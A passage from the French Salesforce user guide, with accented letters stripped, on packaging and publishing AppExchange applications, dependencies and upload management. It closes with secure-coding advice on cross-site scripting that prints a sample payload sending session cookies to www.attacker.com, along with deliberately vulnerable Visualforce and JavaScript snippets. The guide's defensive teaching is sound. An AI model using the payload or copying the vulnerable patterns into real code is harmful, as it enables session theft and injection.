les packages grs, un abonn ne peut pas dissocier les actions de workflow d'une rgle de workflow si elle a t
associe par le dveloppeur.
Les rfrences un utilisateur spcifique dans les actions de workflow, telles que le destinataire d'un e-mail pour une
alerte de workflow, sont remplaces par l'utilisateur qui installe le package. Les actions de workflow qui rfrencent
des rles, des groupes publics, des quipes de compte, des quipes de vente ou des quipes de requte, ne peuvent
pas tre tlcharges.
Les rfrences une adresse l'chelle de l'organisation, telles que l'adresse e-mail de l'expditeur d'une
alerte par e-mail de workflow, sont rinitialises sur l'Utilisateur actuel durant l'installation.

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Guide de l'utilisateur | Prsentation des packages | 845

Lors de l'installation, toutes les rgles de workflow sont inactives. L'abonn doit dployer le package ou activer
individuellement les rgles de workflow.

Voir aussi :
Prsentation des packages
Prparation de vos applications pour la distribution
Dveloppement de la documentation d'une sous-application
Attribution d'diteurs Force.com AppExchange

Disponibilit des composants aprs le dploiement

De nombreux composants contiennent un attribut Est dploy qui contrle leur disponibilit pour l'utilisateur final. Aprs
l'installation, certains composants sont immdiatement disponibles, s'ils l'taient dans l'organisation du dveloppeur. Les autres
composants ne sont pas disponibles par dfaut. Ils doivent tre activs l'aide du processus de dploiement du package ou tre
dploys individuellement.
Les composants suivants sont disponibles par dfaut en fonction de la configuration du dveloppeur :

Dclencheurs Apex
Modles d'e-mails
Dossiers
Remarque: Les dossiers partags avec des utilisateurs ou des groupes spcifiques sont installs avec cette option
active, cependant, aucun utilisateur ou groupe n'est slectionn dans l'organisation de l'abonn.

En-ttes
Types d'enregistrement
Rgles de validation

Les composants suivants ne sont pas disponibles par dfaut et doivent tre activs l'aide du processus de dploiement du
package ou tre dploys (activs) individuellement :

Objets personnaliss
Types de rapport personnalis
Rgles de workflow

Pour plus d'informations, reportez-vous Dploiement de packages installs la page 1015.

Composants protgs
Les dveloppeurs peuvent marquer certains composants comme protgs. Les composants protgs ne peuvent pas tre lis
ni rfrencs par des composants crs au sein d'une organisation abonne. Un dveloppeur peut supprimer un composant
protg dans une version ultrieure sans avoir se soucier des checs d'installation. Cependant, une fois qu'un composant est
marqu comme non protg et qu'il est publi de manire globale, le dveloppeur ne peut plus le supprimer. Les dveloppeurs
peuvent marquer les composants suivants comme protgs dans des packages grs :

tiquettes personnalises
Liens personnaliss (uniquement pour la page d'accueil)

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Guide de l'utilisateur | Prsentation des packages | 846

Alertes de workflow
Mises jour des champs de workflow
Messages sortants du workflow
Tches du workflow

Observations relatives la proprit intellectuelle

Les informations suivantes sont importantes concernant vos droits de proprit intellectuelle et leur protection.

Ne publiez que les composants du package qui relvent de votre proprit intellectuelle et que vous avez le droit de partager.
Une fois que les composants sont disponibles sur Force.com AppExchange, vous ne pouvez plus les rclamer un utilisateur
qui les a installs.
Toutes les informations comprises dans les composants que vous mettez en package et publiez peuvent tre consultes par
les utilisateurs sur Force.com AppExchange. Soyez prudent en ajoutant votre code une commande custom s-control,
une formule, une page Visualforce ou tout autre composant impossible masquer dans votre sous-application.
Le code contenu dans un script Apex qui fait partie d'un package gr est automatiquement obscurci et ne peut pas tre
consult par une entreprise procdant l'installation. Les seules exceptions sont les mthodes dclares comme globales,
dont les signatures peuvent tre consultes dans une organisation procdant l'installation.
Si un paramtre personnalis est contenu dans un package gr et que la Visibilit est spcifie en tant que Package-Priv,
le paramtre personnalis ne figure pas dans la liste des composants du package dans l'organisation de l'abonn. Toutes les
donnes du paramtre personnalis sont masques pour l'administrateur.

Dveloppement de la documentation d'une sous-application

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier des onglets personnaliss :

Personnaliser l'application

Salesforce.com recommande de publier votre sous-application dans Force.com AppExchange avec les types de documentation
suivants :
Onglet propos de
La plupart des sous-applications sont installes par un administrateur. Par consquent, la plupart des utilisateurs sont
informs de la disponibilit d'une sous-application uniquement lors de son dploiement. Aprs le dploiement, un onglet
propos de est trs pratique pour les utilisateurs et offre une introduction la sous-application complte.
L'onglet propos de est un onglet personnalis intgr dans une application sur AppExchange. Il fournit aux utilisateurs :

Une description de la sous-application.

Des renseignements concernant la formation et le support

Fournir aux utilisateurs des choix de formation est le meilleur moyen de garantir l'adoption de votre sous-application
par le client. De la mme manire que salesforce.com propose des formations gratuites, vous devez dispenser aux utilisateurs

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Guide de l'utilisateur | Prsentation des packages | 847

une formation aux applications commerciales par l'intermdiaire de sminaires Web ou de prsentations enregistres.
Incluez dans votre onglet propos de une section expliquant comment obtenir une formation sur la sous-application.
Si les utilisateurs de votre sous-application appellent salesforce.com pour obtenir de l'aide, nous essaierons de dterminer
si le problme vient de notre application ou de la vtre. Nous ne pouvons prendre en charge que notre application, notre
interface utilisateur standard et l'installation des sous-applications issues de AppExchange. Si le client pose une question
sur une fonctionnalit propre votre sous-application, nous lui demanderons de consulter l'onglet propos de pour
savoir comment obtenir de l'aide sur votre sous-application. Nous attendons des sous-applications commerciales qu'elles
fournissent un support semblable celui qu'offre salesforce.com et que l'onglet About indique comment contacter le
support.
Remarque: L'onglet propos de s'ajoute au nombre total d'onglets personnaliss d'une entreprise. Consultez
la section ditions Salesforce.com et limitations de chaque dition avant de crer un onglet propos de afin de
ne pas dpasser la limite des onglets personnaliss autoriss.
Option Configurer
Vous pouvez inclure une option Configure pour les installateurs de votre sous-application lorsqu'ils affichent les
installations et les pages de dtails AppExchange dans leur organisation Salesforce.com. Cette option peut mener des
informations d'installation et de configuration telles que :

L'ajout de champs et de liens personnaliss des objets standard

La demande ou l'excution d'un contrat de licence d'utilisateur final
La prestation de service externe d'une application composite

L'option Configurer est incluse dans votre package en tant que lien personnalis. Vous pouvez crer un lien personnalis
pour vos prsentations de page d'accueil et l'ajouter votre package. Pour ce faire :
1. Crez un lien personnalis vers une URL contenant des informations de configuration, une commande s-control ou
une page Visualforce qui met en uvre la configuration. Lorsque vous crez le lien personnalis, dfinissez les
proprits d'affichage sur Ouvrir dans une fentre contextuelle distincte afin que l'utilisateur revienne
sur la mme page Salesforce.com lorsqu'il a termin.
2. Lorsque vous crez le package, slectionnez ce lien personnalis dans le champ Configurer un lien
personnalis des dtails de votre package.
Prsentation multimdia
Si vous publiez une sous-application commerciale, nous vous recommandons de compiler une prsentation, comme une
prsentation Breeze, afin de faire la dmonstration de ses attributs.
Fiche technique
Fournit aux installateurs les informations essentielles et ncessaires avant l'installation de la sous-application.
Guide de personnalisation et d'optimisation
Permet aux installateurs de connatre les lments personnaliser aprs l'installation.
Page de bienvenue des onglets personnaliss
Vous pouvez ajouter une page de bienvenue tous les onglets personnaliss de la sous-application. Les pages de bienvenue
personnalises peuvent inclure des informations sur l'utilisation de l'onglet personnalis et de l'objet personnalis, et des
liens permettant d'accder des informations complmentaires. Elles possdent un bouton Continuer et un bouton Ne
plus afficher cette page.

Crer

Guide de l'utilisateur | Prsentation des packages | 848

Pour crer la page de bienvenue de la sous-application sous la forme d'un lien personnalis pour l'onglets Accueil, cliquez
sur Configuration Personnalisation Accueil Liens personnaliss. Les liens personnaliss peuvent tre une
URL vers une page HTML, une commande Custom S-Control ou une page Visualforce. Crez une page de bienvenue
comme un lien personnalis vers un onglet Accueil, puis ajoutez-la comme option de page de bienvenue tout onglet
personnalis que vous prvoyez de tlcharger vers AppExchange.
Aide personnalise
Vous pouvez fournir une aide personnalise pour vos enregistrements d'objet et champs personnaliss.

Voir aussi :
Prsentation des packages
Attribution d'diteurs Force.com AppExchange

Attribution d'diteurs Force.com AppExchange

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour attribuer des autorisations :

Autorisation de personnalisation de l'application

Les utilisateurs qui publient des packages dans Force.com AppExchange doivent possder les autorisations suivantes :
Crer des packages Force.com AppExchange
Permet un utilisateur de crer des packages et d'y ajouter des composants.
Tlcharger des packages Force.com AppExchange
Permet un utilisateur de tlcharger et d'enregistrer ou de publier des packages dans Force.com AppExchange.
Le profil Administrateur systme possde ces autorisations par dfaut, de mme que tout profil personnalis dot des autorisations
Sous-application personnalise et Modifier toutes les donnes Dterminez les utilisateurs qui doivent possder ces autorisations
et ajoutez-les aux profils utilisateur appropris.

Voir aussi :
Prsentation des packages
Dveloppement de la documentation d'une sous-application

Crer

Guide de l'utilisateur | Prsentation des packages | 849

Prparation de vos applications pour la distribution

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des packages :

Crer des packages AppExchange

Pour tlcharger des packages :

Tlcharger des packages AppExchange

Une sous-application peut contenir de nombreux composants diffrents et vous pouvez crer, tlcharger et enregistrer vos
sous-applications dans votre propre chronologie. Pour regrouper des composants dans un conteneur tlcharger dans Force.com
AppExchange, crez un package et ajoutez-y les composants. Un package est le conteneur de la sous-application que vous
devez utiliser pour tlcharger simultanment tous ses composants. Avant de commencer, dcidez si vous souhaitez tlcharger
un package gr ou non gr.
1. Crer un package :
a. Cliquez sur Configuration Crer Packages.
b. Cliquez sur Nouveau.
c. Entrez un nom pour votre package. Il n'est pas ncessaire d'entrer le mme nom que celui apparaissant dans
AppExchange.
d. Si vous le souhaitez, choisissez un lien personnalis dans le champ Configurer un lien personnalis pour
prsenter les informations de configuration aux installateurs de votre sous-application. Vous pouvez slectionner un
lien personnalis prdfini vers une URL ou une commande s-control que vous avez cre pour vos prsentations de
page d'accueil. Reportez-vous Option Configurer la page 847. Le lien personnalis s'affiche comme lien de
Configuration dans Salesforce.com, sur la page des tlchargements de Force.com AppExchange et la page de dtails
des sous-applications de l'entreprise de l'installateur.
e. Dans le champ Destinataire de la notification d'exception Apex, entrez le nom d'utilisateur de la
personne qui devrait recevoir une notification par e-mail si une exception se produit dans un script Apex et n'est pas
gre par le script. Si vous ne spcifiez pas un nom d'utilisateur, toutes les exceptions non gres gnrent une notification
par e-mail qui est envoye salesforce.com. Cette option n'est disponible que pour les packages grs.
Remarque: Apex ne peut tre intgr qu' des packages d'entreprises utilisant Developer Edition, Enterprise
Edition et Unlimited Edition.
f. Si vous le souhaitez, entrez une description qui dcrit le package. Vous aurez la possibilit de modifier cette description
avant de la tlcharger vers AppExchange.
g. Cliquez sur Enregistrer.
2. Salesforce.com dfinit les privilges d'accs l'API de votre package Illimt. Vous pouvez modifier ce paramtre pour
limiter davantage l'accs API de composants Salesforce.com du package. Pour plus d'informations, reportez-vous Gestion
de l'accs API et Apex dynamique dans les packages la page 715.
3. Ajoutez les composants ncessaires votre sous-application.
a. Cliquez sur Ajouter.
b. Dans la liste droulante, choisissez le type de composant ajouter votre package.

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Guide de l'utilisateur | Prsentation des packages | 850

En haut de la liste, cliquez sur une lettre pour afficher le contenu de la colonne trie commenant par cette lettre.
S'il existe, cliquez sur le lien Page suivante (ou Page prcdente) pour passer l'ensemble suivant ou prcdent de
composants.
Si cette option existe, cliquez sur moins ou sur plus pour afficher une liste plus courte ou plus longue.

c. Slectionnez les lments composants.

d. Cliquez sur Ajouter au package.
Rptez ces tapes jusqu' ce que vous ayez ajout tous les composants ncessaires dans votre package.
Remarque: Certains composants associs sont automatiquement inclus dans le package, mme s'ils ne figurent
pas dans la liste Composants du package. Par exemple, lorsque vous ajoutez un objet personnalis un package,
ses champs personnaliss, prsentations de page et relations avec les objets standard sont automatiquement inclus.
4. Vous pouvez cliquer sur Afficher les dpendances et passer en revue une liste de composants bass sur d'autres composants,
permissions ou prfrences au sein du package. Une entit peut notamment comprendre une commande s-control, un
champ standard ou personnalis ou un paramtre l'chelle de l'entreprise tel que multidevise. Votre package ne peut pas
tre install sauf si le programme d'installation dispose des composants rpertoris activs ou installs. Voir Prsentation
des dpendances la page 853 pour plus d'informations propos des dpendances. Cliquez sur Termin pour revenir la
page des dtails du package.
Remarque: Vous ne pouvez pas tlcharger des packages qui contiennent les lments suivants :

des rfrences aux comptes personnels, comme une commande s-control ou un champ personnalis qui fait
rfrence des comptes personnels ;
des rgles ou des actions de workflow (telles que des mises jour de champs ou des messages sortants) qui font
rfrence des types d'enregistrements.
Rapports qui rfrencent les types d'enregistrement sur des objets standard.

5. Cliquez sur Tlcharger.

Remarque: Si vous crez un package gr publier sur AppExchange, vous devez certifier votre application avant
de l'inclure dans le package. Pour plus d'informations, reportez-vous Scurit et confiance dans AppExchange.
Dans la page de tlchargement du package, procdez comme suit :
a. Saisissez un Nom de version tel que Juin 2009. Le champ est obligatoire pour les packages grs et non grs. Le
nom de version correspond au nom marketing d'une version spcifique d'un package et permet de crer un titre plus
prcis pour la version.
b. Saisissez le Numro de version du tlchargement tel que 1.0. Le format est
numroPrincipal.numroSecondaire.numroCorrectif.
Le numro de version reprsente une version d'un package. Le champ est obligatoire pour les packages grs et non
grs. Pour un package gr, le numro de version correspond un tlchargement Gr-Publi. Tous les tlchargements
bta utilisent le mme numro de version jusqu'au tlchargement d'une version de package Gr-Publi dote d'un
nouveau numro de version. Par exemple, les valeurs ci-dessous correspondent une squence de numros de version
d'une srie de tlchargements.

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Guide de l'utilisateur | Prsentation des packages | 851

Squence de Type
tlchargement

Numro Remarques
de
version

Premier
Gr-Bta
tlchargement

1.0

Le premier tlchargement Gr-Bta.

Deuxime
Gr-Publi
tlchargement

1.0

Un tlchargement Gr-Publi. Notez que le numro de

version ne change pas.

Troisime
Gr-Publi
tlchargement

1.1

Notez que le changement de numro de version mineur pour

ce tlchargement Gr-Publi.

Quatrime
Gr-Bta
tlchargement

2.0

Le premier tlchargement Gr-Bta du numro de version

2.0. Notez la mise jour du numro de version majeur.

Cinquime
Gr-Publi
tlchargement

2.0

Un tlchargement Gr-Publi. Notez que le numro de

version ne change pas.

Remarque:
Vous pouvez voir une valeur patchNumber associe une version de package. Cette fonctionnalit est disponible
uniquement via un programme pilote.
c. Pour les packages grs, slectionnez un Type de package :

Slectionnez Gr-Publi pour tlcharger une version pouvant tre tlcharge. l'issue du tlchargement, certains
attributs de composants Salesforce.com sont verrouills.
Choisissez Gr-Bta pour tlcharger une version de votre package l'intention de quelques utilisateurs du public
vis, des fins de test. Vous pourrez quand mme modifier les composants et tlcharger des versions bta
supplmentaires.
Remarque: Les packages bta peuvent tre installs uniquement dans les organisations utilisant Developer
Edition ou une version test sandbox.

d. Modifiez la Description, si ncessaire.

e. Vous pouvez aussi saisir et confirmer un mot de passe afin de partager le package de manire prive avec toute personne
disposant du mot de passe. Ne saisissez pas de mot de passe si vous dsirez rendre le package disponible pour tous dans
AppExchange et partager votre package publiquement.
f. Salesforce.com slectionne automatiquement les exigences qu'il trouve. En outre, slectionnez tout autre composant
de configuration requis dans les sections exigences du package et exigences de l'objet afin d'informer les
installateurs de toute exigence concernant ce package.
g. Cliquez sur Poursuivre.
6. Une fois le tlchargement termin, vous pouvez effectuer l'une des oprations suivantes.

Cliquez sur Modifier le mot de passe pour modifier l'option de mot de passe.
Conseil: Si vous avez oubli le mot de passe d'un tlchargement, contactez salesforce.com et fournissez l'ID
indiqu dans la page Modifier la scurit.

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Guide de l'utilisateur | Prsentation des packages | 852

Cliquez sur Rendre obsolte pour empcher de nouvelles installations de ce package tout en autorisant les installations
existantes continuer fonctionner.
Remarque: Vous ne pouvez pas rendre obsolte la version la plus rcente d'un package gr tlcharg.

Lorsque vous rendez obsolte un package, n'oubliez pas de le supprimer aussi d'AppExchange. Reportez-vous
Suppression de sous application AppExchange dans l'aide en ligne de Force.com AppExchange.

Cliquez sur Rendre non obsolte pour rendre disponible un tlchargement obsolte pour une autre installation.

Une fois votre package correctement tlcharg, vous recevez un e-mail contenant un lien d'installation. Patientez quelques
instants avant de cliquer sur le lien d'installation ou de le diffuser d'autres personnes, car plusieurs minutes peuvent s'couler
avant qu'il ne soit actif.
Remarque: Si vous avez effectu le tlchargement partir de votre organisation de production Salesforce.com,
informez les installateurs qui souhaitent l'installer dans une organisation de test Sandbox qu'ils doivent remplacer la
partie www.salesforce.com du lien d'installation par test.salesforce.com . De mme, si vous avez effectu le
tlchargement partir de votre organisation test Sandbox, informez les installateurs qui souhaitent l'installer dans
leur organisation de production Salesforce.com qu'ils doivent remplacer la partie test.salesforce.com du lien
d'installation par www.salesforce.com . Si vous avez publi un package partir de votre version test Sandbox, vous
ne pourrez la grer que jusqu' la cration d'une copie. Une fois la copie de la version test Sandbox cre, vous ne
pourrez plus grer les packages que vous avez tlchargs partir de cette version.

Voir aussi :
Prsentation des packages
Comportement des composants dans les packages
propos des packages grs
Prsentation d'une version de package
Comprhension des dpendances
Composants intgrer dans un package
Gestion des tlchargements
Publication de mises niveau vers des packages grs
Publication d'extensions vers des packages grs

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Guide de l'utilisateur | Prsentation des packages | 853

Comprhension des dpendances

Packages AppExchange et Visualforce disponibles dans : Group Edition, Professional Edition, Enterprise Edition,
Unlimited Edition et Developer Edition
Apex disponible dans : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour tlcharger des packages :

Tlcharger des packages AppExchange

Pour afficher les dpendances Apex :

Auteur Apex

Pour afficher les dpendances Visualforce :

Mode dveloppeur

Cre lorsqu'un composant fait rfrence un autre composant, une autorisation ou une prfrence, qui doit exister pour que
le composant soit valide. Force.com suit certaines dpendances, notamment :

Dpendances organisationnelles, telles que le multidevise ou les campagnes, sont actives

Dpendances spcifiques aux composants, telles que des types d'enregistrements donns ou des divisions existent
Fait rfrence aux objets ou aux champs standard et personnaliss

Les packages, les classes et dclencheurs Apex, les composants Visualforce ainsi que les pages Visualforce peuvent avoir des
dpendances sur des composants d'une organisation. Ces dpendances sont enregistres dans la page Afficher les dpendances.
Les dpendances sont importantes pour la cration de packages car toute dpendance dans un composant du package est
considre comme une dpendance de l'ensemble du package.
Remarque: L'entreprise d'un installateur doit rpondre toutes les exigences de dpendances rpertories dans la
page Afficher les dpendances ( l'exception de Rapports), sinon l'installation chouera. Par exemple, pour installer
un package qui fait rfrence des services, ces dernirs doivent tre activs pour l'entreprise de l'installateur.
Les dpendances sont importantes pour les classes ou les dclencheurs Apex car tout composant dont dpend une classe ou
un dclencheur doit tre inclus avec la classe ou le dclencheur lorsque le code est dploy ou intgr au package.
Outre les dpendances, la porte oprationnelle est galement affiche dans la page Afficher les dpendances. La porte
oprationnelle est une table qui rpertorie les ventuelles oprations de langage de manipulation des donnes (DML) (telles
que insertion ou fusion) qu'un script Apex excute sur un objet spcifi. La porte oprationnelle peut tre utilise lors
de l'installation d'une application pour dterminer toute l'tendue des oprations de base de donnes de l'application.
Pour afficher les dpendances et la porte oprationnelle d'un package, la classe Apex, le dclencheur Apex ou la page Visualforce
:
1. Naviguez jusqu'au composant appropri :

Pour les packages, cliquez sur Configuration Crer Packages.

Pour les classes Apex, cliquez sur Configuration Dvelopper Classes Apex.
Pour les dclencheurs Apex sur des objets standard, cliquez sur Configuration Personnaliser, cliquez sur le nom
de l'objet, puis cliquez sur Dclencheurs.
Pour les dclencheurs Apex sur des objets personnaliss, cliquez sur Configuration Crer, cliquez sur le nom de
l'objet, puis cliquez sur Dclencheurs.

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Guide de l'utilisateur | Prsentation des packages | 854

Pour les pages Visualforce, cliquez sur Configuration Dvelopper Pages.

2. Slectionnez le nom du composant.

3. Cliquez sur Afficher les dpendances.
Si une liste d'objets dpendants s'affiche, cliquez sur Champs pour accder au dtail de la porte oprationnelle au niveau du
champ. Le dtail au niveau du champ comprend des informations telles que la mise jour d'un champ par un script Apex.
Pour plus d'informations, reportez-vous Porte oprationnelle des champs la page 854.
Les packages, les scripts Apex et les pages Visualforce peuvent tre dpendants de nombreux composants, notamment :

Dfinitions des champs personnaliss

Commandes S-control
Formules de validation
Rapports
Types d'enregistrement
Scripts Apex
Pages et composants Visualforce

Par exemple, si une commande s-control comprend une rfrence un champ multidevise, telle que {!contract.ISO_code},
cette commande s-control possde une dpendance sur la multidevise. Si un package contient cette commande s-control, elle
possde galement une dpendance sur le multidevise. Toute entreprise souhaitant installer ce package doit avoir le multidevise
activ.

Voir aussi :
Prparation de vos applications pour la distribution
Composants intgrer dans un package
Gestion des tlchargements
Publication de mises niveau vers des packages grs
Publication d'extensions vers des packages grs
Porte oprationnelle des champs
Porte oprationnelle des champs
Packages AppExchange et Visualforce disponibles dans : Group Edition, Professional Edition, Enterprise Edition,
Unlimited Edition et Developer Edition
Apex disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour tlcharger des packages :

Tlcharger des packages AppExchange

Pour afficher les dpendances Apex :

Auteur Apex

Pour afficher les dpendances Visualforce :

Mode dveloppeur

Les champs affichs dans la page Porte oprationnelle des champs sont rfrencs via la porte oprationnelle :

Crer

Guide de l'utilisateur | Prsentation des packages | 855

Si la case Est mis jour est active, le champ est mis jour l'aide d'une opration DML (langage de manipulation de
base de donnes), telle que insert ou update. Pour plus d'informations, reportez-vous Prsentation des dpendances
la page 853.
Si la case Is Updated n'est pas slectionne, le champ n'est rfrenc que dans la porte oprationnelle. Par exemple, il
peut tre inclus dans une instruction select.

Si la case ID externe est active, les champs se comportent comme un ID externe. Un champ ID externe contient des
identificateurs uniques d'enregistrements d'un systme extrieur Salesforce.com. Vous pouvez vous servir de la fonction
de recherche du menu latral pour rechercher des valeurs d'ID externe. Vous pouvez aussi vous servir du champ de l'API
Force.com. Lorsque vous utilisez les assistants d'importation pour les objets personnaliss et les solutions, ce champ permet
d'viter les doublons.

Voir aussi :
Comprhension des dpendances

Gestion des tlchargements

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour tlcharger des packages :

Tlcharger des packages AppExchange

Aprs avoir tlcharg un package vers Force.com AppExchange, vous pouvez toujours le grer dans Salesforce.com. Pour
grer les tlchargements :
1. Cliquez sur Configuration Crer Packages.
2. Slectionnez le package contenant la sous-application ou les composants tlchargs.
3. Slectionnez le numro de version rpertori dans la liste Historique des tlchargements de versions associe.

Cliquez sur Modifier le mot de passe pour modifier l'option de mot de passe.
Conseil: Si vous avez oubli le mot de passe d'un tlchargement, contactez salesforce.com et fournissez l'ID
indiqu dans la page Modifier la scurit.

Cliquez sur Rendre obsolte pour empcher de nouvelles installations de ce package tout en autorisant les installations
existantes continuer fonctionner.
Remarque: Vous ne pouvez pas rendre obsolte la version la plus rcente d'un package gr tlcharg.

Lorsque vous rendez obsolte un package, n'oubliez pas de le supprimer aussi d'AppExchange. Reportez-vous
Suppression de sous application AppExchange dans l'aide en ligne de Force.com AppExchange.

Cliquez sur Rendre non obsolte pour rendre disponible un tlchargement obsolte pour une autre installation.

Crer

Guide de l'utilisateur | Prsentation des packages | 856

Remarque: Pour crer une solution d'essai, vous enregistrer ou choisir une organisation de gestion de licence pour les
lments tlchargs, cliquez sur Accder au AppExchange partir de la page de dtails de tlchargement de packages.

Voir aussi :
Prparation de vos applications pour la distribution
Comprhension des dpendances
Composants intgrer dans un package
Publication de mises niveau vers des packages grs
Publication d'extensions vers des packages grs
Conseils relatifs la scurit pour le dveloppement Apex et Visualforce
Conseils relatifs la scurit pour le dveloppement Apex et Visualforce
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Prsentation de la scurit
La combinaison puissante de pages Apex et Visualforce permet aux dveloppeurs Force.com de fournir des fonctionnalits
personnalises et une logique applicative Salesforce.com ou de crer un produit autonome entirement nouveau qui s'excute
dans la plate-forme Force.com. Les dveloppeurs doivent toutefois connatre des failles de scurit potentielles, comme avec
tout langage de programmation.
Salesforce.com a intgr plusieurs dispositifs de scurit dans la plate-forme Force.com elle-mme. Cependant, les dveloppeurs
imprudents peuvent dans la plupart des cas contourner les dfenses intgres et exposer leurs applications ainsi que leurs clients
des risques de scurit. Parmi les erreurs de codage qu'un dveloppeur peut faire sur la plate-forme Force.com, beaucoup
sont comparables aux vulnrabilits des applications Web courantes, tandis que d'autres sont spcifiques Apex.
Pour certifier une application pour Force.com AppExchange, il est essentiel que les dveloppeurs apprennent et comprennent
les failles de scurit prsentes dans ce document.

Voir aussi :
Gestion des tlchargements
Cross-Site Scripting (XSS)
Les attaques cross-site scripting (XSS) comprennent une vaste gamme d'attaques qui ajoutent un script HTML ou ct client
malveillant une application Web. L'application Web inclut un script malveillant en rponse un utilisateur de l'application
Web. L'utilisateur devient ainsi la victime inconsciente de l'attaque. L'attaquant a utilis l'application Web comme un
intermdiaire pour son attaque, tirant parti de la confiance que la victime place dans l'application Web. La plupart des
applications qui affichent des pages Web dynamiques sans valider correctement les donnes sont probablement vulnrables.
Les attaques contre un site Web sont particulirement aises lorsque les saisies d'un utilisateur sont destines tre vues par
un autre utilisateur. Parmi les cibles naturelles figurent les sites contenant des forums lectroniques ou les commentaires des
utilisateurs, les sites d'actualits et les archives de messagerie.

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Guide de l'utilisateur | Prsentation des packages | 857

Par exemple, supposons que le script suivant soit inclus dans une page Force.com qui utilise un composant de script, un
vnement on* ou mme une commande s-control.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>

Ce bloc de script insre dans la page la valeur userparam fournie par l'utilisateur. L'attaquant peut ensuite entrer la valeur
userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

Dans ce cas, tous les cookies de la page actuelle sont envoys vers www.attacker.com en tant que chane de requte dans
la requte du script cookie.cgi. A ce stade, l'attaquant dispose du cookie de session de la victime et peut se connecter
l'application Web en se faisant passer pour la victime.
L'attaquant peut publier un script malveillant via un site Web ou un e-mail. Non seulement les utilisateurs de l'application
Web voient l'entre de l'attaquant, mais leur navigateur peut excuter le script de l'attaquant dans un contexte de confiance.
Grce cette possibilit, l'attaquant peut lancer une grande diversit d'attaques contre la victime. Ces attaques vont de simples
actions, telles que l'ouverture et la fermeture de fentres, des oprations plus malveillantes, telles que le vol de donnes ou
de cookies de session, qui procurent l'attaquant un accs total la session de la victime.
Pour plus d'informations gnrales sur ces attaques, reportez-vous aux articles suivants :

http://www.owasp.org/index.php/Cross_Site_Scripting
http://www.cgisecurity.com/articles/xss-faq.shtml
http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
http://www.google.com/search?q=cross-site+scripting

Dans la plate-forme Force.com, plusieurs protections anti-XSS sont en place. Par exemple, salesforce.com a mis en oeuvre
des filtres qui excluent les caractres dangereux de la plupart des mthodes de sortie. Pour les dveloppeurs qui utilisent des
classes et des mthodes de sortie standard, la menace reprsente par les failles XSS est largement attnue. Le dveloppeur
cratif peut toutefois trouver, accidentellement ou intentionnellement, des mthodes de contournement des contrles par
dfaut. Les sections suivantes indiquent la prsence ou l'absence de protection.
Protection existante
Tous les composants Visualforce standard, qui commencent par <apex>, sont dots de filtres anti-XSS. Par exemple, le code
suivant est gnralement vulnrable une attaque XSS car il utilise l'entre fournie par l'utilisateur pour lui renvoyer directement,
mais la balise <apex:outputText> est protge contre les attaques XSS. Tous les caractres qui constituent des balises
HTML sont convertis dans leur forme littrale. Par exemple, le caractre < est converti en &lt; afin d'afficher un caractre
< littral sur l'cran de l'utilisateur.
<apex:outputText> {!$CurrentPage.parameters.userInput} </apex:outputText>

Dsactivation de l'chappement dans les balises Visualforce

Par dfaut, presque toutes les balises Visualforce chappent les caractres vulnrables aux attaques XSS. Il est possible de
dsactiver ce comportement en dfinissant l'attribut optionnel escape="false". Par exemple, la sortie suivante est vulnrable
XSS :
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Crer

Guide de l'utilisateur | Prsentation des packages | 858

Elments de programmation non protgs contre les attaques XSS

Les lments suivants ne disposent pas de protections intgres contre les attaques XSS. Vous devez utiliser ces balises et ces
objets avec prcaution. Ces lments ont t conus pour permettre au dveloppeur de personnaliser une page en insrant des
commandes de script. Par consquent, il n'est pas logique d'inclure des filtres anti-XSS dans les commandes ajoutes
intentionnellement une page.
Commandes S-Control et JavaScript personnalises
Si vous crivez vos propres commandes JavaScript ou s-control, la plate-forme Force.com n'a aucun moyen pour vous
protger. Par exemple, le code suivant est vulnrable aux attaques XSS s'il est utilis dans JavaScript.
<script> var foo = location.search; document.write(foo); </script>

<apex:includeScript>
Le composant Visualforce <apex:includeScript> permet d'inclure un script personnalis dans une page. Dans ce
cas, validez avec prcaution le contenu pour vous assurer qu'il est sr et ne contient pas de donnes fournies par l'utilisateur.
Par exemple, le snippet suivant est trs vulnrable car il inclut une entre fournie par l'utilisateur en tant que valeur dans
le texte du script. La valeur fournie par la balise est une URL vers le script Java inclure. Si un attaquant peut fournir
des donnes arbitraires ce paramtre (comme dans l'exemple ci-dessous), elles peuvent ventuellement inviter la victime
inclure un fichier JavaScript depuis un autre site Web.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

Balises de modle et de formule S-Control

Les commandes S-Control donnent au dveloppeur un accs direct la page HTML sur laquelle elles s'affichent et incluent
un srie de variables qui peuvent servir insrer des donnes dans les pages. Comme indiqu plus haut, les commandes s-control
n'utilisent aucune protection anti-XSS intgre. Lors de l'utilisation de balises de modle et de formule, les sorties ne sont pas
filtres et doivent tre valides par le dveloppeur.
ATTENTION: Les commandes s-control ne seront plus prises en charge dans une version ultrieure. Salesforce.com
recommande vivement de crer des lments d'interface utilisateur personnaliss l'aide de Visualforce au lieu de
commandes s-control. Pour plus d'informations, reportez-vous Comment les pages Visualforce se comparent-elles
aux pages S-Controls ?
La syntaxe gnrale de ces balises est la suivante :{!FUNCTION()} ou {!$OBJECT.ATTRIBUTE}. Par exemple, si un
dveloppeur souhaite inclure l'ID de session d'un utilisateur dans un lien, il peut crer le lien avec la syntaxe suivante :
<a
href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>

Cette syntaxe produit une sortie semblable la suivante :

<a
href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
